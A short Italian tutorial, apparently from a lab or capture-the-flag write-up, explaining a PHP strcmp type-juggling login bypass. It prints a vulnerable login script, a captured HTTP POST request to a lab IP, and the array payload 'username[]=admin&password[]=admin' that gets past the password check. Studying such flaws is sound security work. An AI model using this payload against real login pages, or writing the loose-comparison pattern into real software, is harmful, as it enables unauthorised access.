tags: PHP_strcmp_Bypass PHP_Login_Bypass PHP_Bypass
La Vulnerabilità: strcmp Bypass (Type Juggling)
L’errore fatale è l’uso della funzione strcmp() combinata con l’operatore di confronto “debole” (==).
-
Come funziona
strcmp($str1, $str2):-
Restituisce
0se le stringhe sono uguali. -
Restituisce un numero diverso da 0 se sono diverse.
-
-
Il Bug di PHP: Se passi un Array (
[]) invece di una stringa alla funzionestrcmp, le versioni precedenti di PHP (fino alla 7.x e in alcuni casi 8.0) non sanno come gestirlo. Invece di fermarsi, la funzione restituisceNULLe genera un Warning. -
La Magia del
==: Nel mondo “bizzarro” di PHP, se usi il doppio uguale (==) invece del triplo (===):NULL == 0è VERO (True).
Ecco un esempio di codice vulnerabile:
require('config.php'); // Carica le credenziali vere (che non conosciamo)
if (!empty($_POST['username']) && !empty($_POST['password'])) {
session_start();
// CONTROLLO USERNAME
if (strcmp($username, $_POST['username']) == 0) {
// CONTROLLO PASSWORD
if (strcmp($password, $_POST['password']) == 0) {
$_SESSION['user_id'] = 1;
header("Location: /upload.php"); // Successo!
} else {
print("<script>alert('Wrong Username or Password')</script>");
}
} else {
print("<script>alert('Wrong Username or Password')</script>");
}
}La richiesta per questo codice PHP è la seguente:
POST /login/login.php HTTP/1.1
Host: 10.129.47.234
Content-Length: 33
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Origin: http://10.129.47.234
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.129.47.234/login/login.php
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=m02h014587ob3quito778loq2b
Connection: keep-alive
username=admin&password=paninoMa se noi modifichiamo la sezione dati in questo modo:
username[]=admin&password[]=adminEntriamo senza dover inserire password.